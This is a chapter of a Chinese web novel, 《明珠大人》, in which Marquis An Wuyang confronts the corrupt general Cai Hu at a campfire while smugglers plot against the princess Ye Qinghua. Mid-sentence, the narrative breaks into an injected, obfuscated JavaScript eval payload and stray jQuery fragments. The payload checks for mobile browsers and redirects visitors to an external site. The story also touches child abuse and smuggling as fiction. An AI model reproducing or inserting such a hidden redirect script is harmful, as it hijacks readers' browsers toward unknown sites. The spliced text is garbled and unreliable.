121. 收网

作品:《明珠大人

    顺阳知州衙门,云舒正在后衙书房处理公务。云吉拿着一封信和一个锦盒,快步走了进来。


    “三爷,郡主的信。”


    云舒立刻放下手头的事,将信接过,信件很厚,看来内容不少。他有些迫不及待地拆开,一页页读下去,和他一样,叶倾华只写了沿途的见闻,写了江南的烟雨,写海上的晚霞......


    嘴角不自觉地扬起,眼中漾开温柔的笑意,直到看到最后一页那不属于叶倾华的笔迹的字出现,笑容赫然凝结。


    他闭上眼,向后靠进太师椅里。眼前仿佛浮现出叶倾华窝在安无恙怀里给他回信的场景,心突然刺痛。


    安长生!若非我舍不得将她囿于后宅方寸之地,若非那时忧心她孤身一人会崩溃,将她推至你身侧,你又岂能有机会接近她?


    阿倾,待我了结这些纷扰,你还会回来吗?一定会的,对吧?阿倾,这相思的苦海太过冰冷,我快疯了……待到那时,你拉我一把,可好?


    他睁开眼,拆开锦盒。里面是一只很大的海螺和一挂贝壳串成的风铃。他把海螺贴在耳边,呼啸的海浪声仿佛就在耳畔。下衙后,他将那串风铃挂在了床头。


    时光流转,转眼来到了六月底。


    叶福等人暗查归来。叶倾华看着手里的密档,周身杀意环绕,阅至最后一页,她将密档重重拍在案上,长吁一口气,强压下翻腾的怒火。


    “十一,通知侯爷,他们交易那日,收网。”


    “是。”


    福州大营,安无恙拿上饼准备骑马回平波,还未上马,便被主将蔡虎叫住。


    “长生,又要回去见郡主了?”蔡虎声如洪钟。


    “嗯。”安无恙脸上泛起一丝温柔。


    “你小子!”蔡虎笑着指指他,“什么时候带郡主来给大伙儿瞧瞧?我们可都想看看,是什么样的姑娘能把你收服得这么服帖?”


    “中秋吧,那时她能多休几天假。现在每次休沐就一天,来回奔波太辛苦了。”


    “哟,你还会体贴人了,果然是长大了。”


    “虎伯找我何事?”


    蔡虎是老侯爷一手提拔起来,也因此多年前才把安无恙丢到福州来历练。这次安无恙回来,带着兵符。一营两将,若是在别处,恐怕早生是非。而福州却从未发生过,蔡虎从未争权,处处以安无恙为先。


    “也没什么大事。你回来快一个月了,一休沐就往平波跑,还没好好跟你喝顿酒呢。本想问问你今晚有空没,现在看来是没空了。”蔡虎笑着摆摆手,“没事,去吧,终身大事要紧。”


    安无恙微微蹙眉,想起自己确实没和蔡虎好好聚过。他略一思索,对旁边的安九九道:“九九,你回去告诉郡主,我明天回去。”又转向蔡虎,“虎伯,后天麻烦您多操劳,我请一日假。”


    “行!”蔡虎朗声大笑,“走,喝酒去。”


    篝火燃起,安无恙、蔡虎、吴钢以及另一名副将韦超一起烤肉喝酒。


    酒过三巡,吴钢胆子大了起来,和安无恙玩笑道:“小侯爷,不瞒你说,以你的性子,末将还以为你会孤独终老,没想到让明珠郡主给捡走了。”


    “吴将军胆子不小啊,敢拿本侯开涮?”安无恙道。


    “哈哈哈哈!”吴钢大笑。


    以前确实没人敢和安无恙开这样的玩笑,几年前他刚到福州之时,大伙都以为他是来镀金的,谁都看不上他,碍于身份,对他敬而远之。直到一次恶战,安无恙以一己之力挽救了局势,救下吴钢,众人这才正视他。正视归正视,却不亲厚,一是因为身份悬殊,二是他那张嘴实在太毒,能把人气得死去活来。


    没想到回京一趟,动心动情,那浑身的刺儿和戾气倒是收敛了不少。


    “话说小侯爷和郡主是怎么走到一起的?”自古情爱最惹人好奇。


    安无恙端起酒碗灌了一大口,抹抹嘴,“大概,是她为小爷绝世的风姿所倾倒了吧。”


    旁边的元宝白眼翻出天际。


    安无恙见了虚踹一脚,“你那什么表情?”


    元宝敏捷地往后一跳,说道:“爷你这话敢不敢当着郡主的面说?”


    被掀了老底,安无恙对元宝道:“爷不要面子的呀,自个去跑两圈。”


    “哈哈哈哈哈~”众人闻声大笑,谁也没想到,平日里不可一世的小侯爷,竟隐隐透出几分“惧内”的模样。


    平波,张府,书房的烛火不算明亮。


    盯梢的下人来报:“老爷,镇远侯没有回来,县令气哭了。”


    “下去吧,继续盯着。”张庆来吩咐道。


    “是。”


    “这次的交易我们一起去。老王,你负责装货点货,小心些。“张庆来对王东说完转向其他人,”其余人的跟着我作陪,老孙,去提几颗软珠来,这次来的是兰纳和伽罗的大富商,好这口。”王东不好此道,张庆来便也没安排他上席。


    王东:“嗯。只是张爷,咱们不能每次交易都这般小心吧,这样下去也不是长久之策。”


    众人陷入沉默,这确实是一个问题。


    孙瑜思忖片刻,出了个馊主意:“都道明珠郡主是为镇远侯才来的平波,依我看,倒像是镇远侯因她才来的福州。”


    “此话怎讲?”


    “镇远侯几年前便已在福州大营历练过。按常理,再度入营该去济州或津州大营。他来福州,无非因着只有福州附近的县衙尚有空缺。”


    “所以你的意思是,设法将明珠郡主调离?”刘树拍手道,“这不是胡闹吗!咱们若有那本事,还用窝在这小小平波?”


    “不,不,”孙瑜故作高深,“咱们是要让她,彻底留下来!”


    “拉她入伙?这倒是个主意。只是她富可敌国,只怕瞧不上这点‘雪’的利头。”张庆来沉吟道。


    “看不看得上生意无妨,只要她看得上人就行。”孙瑜抿了口茶,“张爷,这位明珠郡主在镇远侯之前,可是为那位状元郎痴狂过的。我记得府上小公子玉树临风,文采斐然,依我看,绝不逊于那位状元。”


    张庆来眉头紧锁,这等水性杨花的女子,他张家如何看得上眼?


    孙瑜抛出了致命诱惑,“叶家可是有六代承袭的爵位,虽说承爵之子须姓叶,但三代之后还宗归本姓,可不违礼法。”


    张庆来意动了,这相当于白捡一个侯爵,“这镇远侯是个煞星,就怕......”


    “一物降一物!只要明珠郡主护定小公子,他镇远侯便不敢轻举妄动。届时,他要么为我等所用,要么情伤离去。”孙瑜笃定地摇头晃脑。


    张庆来彻底意动,当即吩咐下人去福州府学接小儿子回家小住几日。以他幼子的风采,不信她叶倾华不动心!且如此一来,也算替京中那位贵人解决了一桩麻烦。


    “届时还望张爷多多提携我等。”孙瑜连忙恭维。


    “好说,好说!”


    王东觉得此计极不靠谱,宛如过家家一般。但见张庆来已是一副志在必得的姿态,便闭口不再自讨没趣。


    叶倾华若是知道他们的打算,定要啐上一口,什么玩意儿,竟然和子谦比,他可是大齐开国以来最年轻的状元。再者,放着绝色倾城,智勇双全的安无恙不要,去喜欢你家的弱鸡?我又不是瞎。


    福州大营,篝火旁,四人酒意渐浓。安无恙估摸着时辰差不多了,对蔡虎道:“虎伯,我记得您家大孙子立哥儿,今年该有十岁了吧?”


    提起大孙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15685773|154151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子,蔡虎脸上露出宠溺的笑容,“是啊,一晃眼都这么大了。”


    “是呀,时间过得真快,那年你带他来京城,还是个穿开裆裤的小屁孩。”安无恙也跟着感慨,随手放下酒碗,话锋却陡然一转,“听说软珠阁里最小的孩子也就十岁上下。虎伯,您午夜梦回时,可曾害怕过?”


    “软珠阁”三个字一出,韦超的手瞬间就按在了刀柄上。


    蔡虎的脸色有一瞬的扭曲,又很快恢复,强挤出笑容道:“长生这是喝多了吧?怎么说起胡话来了,要不先去歇歇?”


    “是不是胡话,虎伯您心里最清楚。”安无恙目光锐利,带着冰冷的讥讽,“您儿子每次糟践那些比他儿子大不了多少的孩子时,良心可曾痛过?每次收下张庆来他们贩私盐通敌送来的贿赂时,可曾想过您和妻儿老母?”他顿了顿,语气鄙夷,“哦,忘了,他哪有什么良心。”


    韦超的刀已无声地出鞘三寸。吴钢再迟钝也意识到大事不妙,他没带佩刀,手猛地抓住了面前的案桌边缘。


    蔡虎彻底沉下脸,“长生,说话得讲证据。看在你祖父的份上,老夫不与你计较。再有下次,休怪我不念旧情,替老侯爷教训你。”


    安无恙手肘支在膝盖上,撑着脑袋,姿态随意,“虎伯,虎伯,您是祖父提拔的。不看僧面看佛面,我若没点真凭实据,如何敢说这话。”


    韦超的刀已抽出一半,冰冷的刀身在火光映照下格外刺眼。


    见安无恙如此笃定,蔡虎反而“啧”了一声,带着几分欣赏,“后生可畏啊!不愧是老侯爷亲自教出来的孩子。”随即,他语气一转,充满了惋惜,“可惜还是嫩了点。长生,来世记住,酒这东西,少饮些。免得又失足落水,一命呜呼。”一句话,直接判了安无恙死刑。


    “虎伯这是要杀我?”安无恙指尖轻轻转着空酒碗。


    “正如我刚才所说,看在你祖父面上,本只想让你睡一觉,别碍着今晚的事。奈何你太聪明了。”蔡虎摇着头,仿佛很无奈。


    “所以,酒里下了软筋散?”安无恙挑眉。


    “你知道得太迟了。”蔡虎转头对韦超说道:“韦副将,送小侯爷去方便。记住了,小侯爷喜欢去海边。”


    “末将领命。”韦超起身,大步走到安无恙身边,伸手就要去架他。突然,一张沉重的案桌呼啸着朝他砸来,韦超大惊,慌忙闪避。


    “看来吴副将是铁了心要陪小侯爷一起上路了?”蔡虎嘴角勾起冷笑,眼中却毫无温度。他猛地想起什么,脸色骤变,惊疑不定地看向吴钢:“你怎么还有力气?!”


    吴钢自己也是一愣,随即猛地想起喝酒前小侯爷塞给他的那颗糖,原来如此!他心中大定,挺直腰板吼道:“老子只是选择站在了正义这边。”


    蔡虎猛地看向安无恙,只见他缓缓站直了身体,哪还有半分瘫软的迹象?“虎伯,”安无恙的声音平静却带着无形的压力,“安家最出名的,可不止是水师和战船。”


    蔡虎的心沉了下去,“长生,你很聪明,只可惜这是福州。”说罢,将手中酒碗狠狠摔在地上。


    “啪!”碎裂声就是信号!四周黑暗中瞬间亮起无数火把,将营地照得通明!


    “小侯爷,怎么办?”吴钢握紧拳头,紧张地问。


    “不急。”安无恙的语气依然从容。


    “给我杀!”蔡虎厉声下令!


    然而,预想中的喊杀声并未响起。火把照耀下,竟没有一个士兵冲上来!蔡虎惊愕地僵在原地。


    就在这诡异的寂静中,之前被罚去跑步的元宝从暗处走了出来。他手里,赫然拎着一颗血淋淋的人头!


    “蔡将军,”元宝的声音在死寂中格外清晰,“您是在喊他吗?”